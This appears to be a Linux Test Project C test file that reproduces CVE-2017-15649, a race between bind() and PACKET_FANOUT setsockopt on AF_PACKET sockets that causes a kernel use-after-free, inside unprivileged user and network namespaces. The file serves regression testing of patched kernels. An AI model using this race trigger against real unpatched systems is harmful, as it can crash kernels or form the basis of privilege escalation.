blob: f5ce19a126697fdb5f18a242a44ba6730e7d2396 [file] [log] [blame]
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* Copyright (c) 2018 Richard Palethorpe <rpalethorpe@suse.com>
* Original reproducer: https://blogs.securiteam.com/index.php/archives/3484
* Other copyrights may apply.
*
* CVE-2017-15649
*
* Fixed by the following commits:
* 4971613c "packet: in packet_do_bind, test fanout with bind_lock held"
* 008ba2a1 "packet: hold bind lock when rebinding to fanout hook"
*
* See blogpost in copyright notice for more details.
*/
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <net/if.h>
#include <linux/if_packet.h>
#include <string.h>
#include "tst_test.h"
#include "tst_fuzzy_sync.h"
#include "lapi/if_packet.h"
#include "lapi/namespaces_constants.h"
static struct tst_fzsync_pair pair;
static int fd;
static struct sockaddr_ll addr;
void setup(void)
{
int real_uid = getuid();
int real_gid = getgid();
TEST(unshare(CLONE_NEWUSER));
if (TST_RET)
tst_brk(TBROK | TTERRNO, "Can't create new user namespace");
TEST(unshare(CLONE_NEWNET));
if (TST_RET)
tst_brk(TBROK | TTERRNO, "Can't create new net namespace");
FILE_PRINTF("/proc/self/setgroups", "deny");
FILE_PRINTF("/proc/self/uid_map", "0 %d 1\n", real_uid);
FILE_PRINTF("/proc/self/gid_map", "0 %d 1\n", real_gid);
tst_fzsync_pair_init(&pair);
}
void cleanup(void)
{
tst_fzsync_pair_cleanup(&pair);
}
void *binder(void *unused)
{
while (tst_fzsync_run_b(&pair)) {
tst_fzsync_start_race_b(&pair);
bind(fd, (struct sockaddr *)&addr, sizeof(addr));
tst_fzsync_end_race_b(&pair);
}
return unused;
}
void run(void)
{
int fanout_val = PACKET_FANOUT_ROLLOVER, index;
struct ifreq ifr;
memset(&ifr, 0, sizeof(struct ifreq));
tst_fzsync_pair_reset(&pair, binder);
while (tst_fzsync_run_a(&pair)) {
fd = SAFE_SOCKET(AF_PACKET, SOCK_RAW, PF_PACKET);
strcpy((char *)&ifr.ifr_name, "lo");
SAFE_IOCTL(fd, SIOCGIFINDEX, &ifr);
index = ifr.ifr_ifindex;
SAFE_IOCTL(fd, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags &= ~(short)IFF_UP;
SAFE_IOCTL(fd, SIOCSIFFLAGS, &ifr);
addr.sll_family = AF_PACKET;
/* need something different to rehook && 0 to skip register_prot_hook */
addr.sll_protocol = 0x0;
addr.sll_ifindex = index;
tst_fzsync_start_race_a(&pair);
setsockopt(fd, SOL_PACKET, PACKET_FANOUT,
&fanout_val, sizeof(fanout_val));
tst_fzsync_end_race_a(&pair);
/* UAF */
close(fd);
}
tst_res(TPASS, "Nothing bad happened, probably...");
}
static struct tst_test test = {
.min_kver = "3.19",
.setup = setup,
.test_all = run,
.cleanup = cleanup,
.needs_root = 1,
};